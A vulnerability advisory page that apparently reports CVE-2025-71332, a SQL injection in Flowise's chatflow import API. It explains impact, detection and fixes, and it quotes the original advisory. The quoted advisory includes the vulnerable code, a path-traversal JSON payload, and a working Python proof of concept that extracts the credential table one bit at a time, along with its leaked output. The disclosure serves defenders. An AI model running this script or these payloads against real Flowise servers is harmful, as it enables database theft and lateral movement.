NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2025-71332: FlowiseDB vulnerable to SQL Injection by authenticated users

highCVSS 4.0 8.5 · 3.1 5.9GHSA-9c4c-g95m-c8cp

Flowise 2.2.7 and earlier has SQL injection in its import functions (`importChatflows`, `importTools`, `importVariables`). An authenticated user can put SQL into a chatflow `id` and read the database, including the encrypted credential table. The advisory lists no patched version. A fix, "Validating IDs for all imports", was merged into `main` on April 7, 2025.

Published Apr 7, 2025 · Updated Nov 3, 2026 · Analysis Nov 1, 2026

What an attacker can do

importChatflows in packages/server/src/services/chatflows/index.ts builds a duplicate-ID check by concatenating each imported chatflow.id into the SQL string cf.id IN ('...'). A value such as ') ... -- ends the string and adds SQL. The same pattern is named in importTools and importVariables.

The reporter's proof of concept posts to /api/v1/chatflows/importchatflows with an API key and runs a boolean-style extraction (a bit-by-bit guess that triggers a DOUBLE value is out of range error). It leaked the credentialName and encryptedData columns of the credential table. The data is stored encrypted, but it gives the attacker material for lateral movement, and the same flaw can read other tables.

A second issue sits in the same import path. A chatflow id containing ../ is not validated, so an attacker can craft an AllChatflows.json that a victim imports. When the victim opens it, the canvas URL is built from that id, for example ../../../../../../apikey. This needs the victim to import the file and click. The CVSS vector reflects this with high privileges and user interaction, scored 5.9. The attacker needs authenticated access to the import API.

Who is affected

The flowise npm package at 2.2.7 and earlier. The listed vulnerable range is <= 2.2.7, and no patched version is recorded. Anyone with a valid session or API key who can call the import endpoints can reach the flaw. Check your version:

npm ls flowise

For Docker, check the image tag. Check who holds API keys with access to the import endpoints.

flowise

Ecosystem
npm
Affected
<= 2.2.7
Fixed in
No patched version yet
Check
npm ls flowise

How to fix it

The advisory lists no patched version. The fix is pull request 4226, "Bugfix - Validating IDs for all imports", merged into main on April 7, 2025 (commit f963e5a). The pull request page does not name a release. A later downstream update suggests it ships in 3.0.0 or later, but I could not confirm this. Move to the latest Flowise release and check its release notes for the pull request.

The reporter recommends limiting all chatflow and chat IDs to UUIDs. Until you have a release with the fix, restrict who holds API keys and accounts, and do not import JSON files from untrusted sources.

How to tell if you were hit

Check Flowise and database logs for requests to /api/v1/chatflows/importchatflows (and the tool and variable import routes) with id values that are not UUIDs, or that contain quotes, --, ) or ../. A burst of such requests with DOUBLE value is out of range errors in the responses matches the reporter's extraction method. Check chatflows in the database for ids containing ../. Review who created API keys recently.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

import functions are vulnerable.

Details

Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Issue 1 (Bug Type)

  1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file. ``json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } ``
  2. Victim download this file, and import this to flowise.
  3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.

Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.

// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
        try {
        const appServer = getRunningExpressApp()

        // step 1 - check whether file chatflows array is zero
        if (newChatflows.length == 0) return

        // step 2 - check whether ids are duplicate in database
        let ids = '('
        let count: number = 0
        const lastCount = newChatflows.length - 1
        newChatflows.forEach((newChatflow) => {
            ids += `'${newChatflow.id}'`           // <===== user input
            if (lastCount != count) ids += ','
            if (lastCount == count) ids += ')'
            count += 1
        })

        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
            .createQueryBuilder('cf')
            .select('cf.id')
            .where(`cf.id IN ${ids}`)                   // <===== here
            .getMany()
        const foundIds = selectResponse.map((response) => {
            return response.id
        })

It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC

import argparse
import requests


def import_chatflows(
    url: str,
    token: str,
    payload: dict
):
    response = requests.post(
        f'{url}/api/v1/chatflows/importchatflows',
        headers={
            'Authorization': f'Bearer {token}'
            # 'Authorization': f'Basic {token}'
        },
        json=payload
    )

    return response.json()


def import_normal_data(
    api_url: str,
    token: str,
    normal_data: str
):
    data_id = 'aaaaaa'

    payload = {
        "Chatflows": [
            {
                "id": data_id,
                "name": normal_data,
                "flowData": "{}"
            }
        ]
    }

    import_chatflows(
        url=api_url,
        token=token,
        payload=payload
    )
    return data_id


def get_character(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str,
    index: int
):
    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    bitbox = [
        64, 32, 16, 8, 4, 2, 1
    ]
    character = 0
    for bit in bitbox:
        payload = create_payload(c=character + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # character is more then bit
            character += bit
        else:
            # character is less then bit
            character += 0

    return chr(character)


def get_length(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str
):
    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    column_len = 0
    bitbox = [
        256, 128, 64, 32, 16, 8, 4, 2, 1
    ]
    for bit in bitbox:
        payload = create_payload(c=column_len + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # column_len is more then bit
            column_len += bit
        else:
            # column_len is less then bit
            column_len += 0

    return column_len


def main(
    url: str,
    token: str
):
    api_url = url

    column_box = [
        'credentialName',
        'encryptedData'
    ]

    data_id = import_normal_data(
        api_url=api_url,
        token=token,
        normal_data='flow01'
    )

    for column_name in column_box:
        column_len = get_length(
            api_url=api_url,
            token=token,
            data_id=data_id,
            column_name=column_name
        )

        print(f'[+] {column_name} length is {column_len}')

        result = ''
        for i in range(column_len):
            result += get_character(
                api_url=api_url,
                token=token,
                data_id=data_id,
                column_name=column_name,
                index=i + 1
            )

        print(f'[+] {column_name}: {result}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--url',
        type=str,
        default='http://flowise:3000'
    )
    parser.add_argument(
        '--access',
        type=str,
        required=True,
        help='Get from http://flowise:3000/apikey'
    )

    m_args = parser.parse_args()

    main(
        url=m_args.url,
        token=m_args.access
    )

poc results: encryptedData from flowise database credential table was successfully leaked.

/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==

It is recommended to limit all chatflow ids & chat ids to UUID.

Impact

  • Database leak
  • Lateral Movement

Credited to Tribal1012, cookesan.

Questions

Is there a patched Flowise version for CVE-2025-71332?

The advisory records none. The fix was merged into main on April 7, 2025 as pull request 4226, but I could not confirm which release first ships it. Use the latest release and check its notes.

Does the attacker need to be logged in?

Yes. The proof of concept uses an API key against the import endpoint. The ../ path issue also needs a victim to import a crafted file and open the chatflow.

What data can leak?

The proof of concept extracts the credential table (credential names and encrypted data), but the injection is in a general query, so other tables are also reachable.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries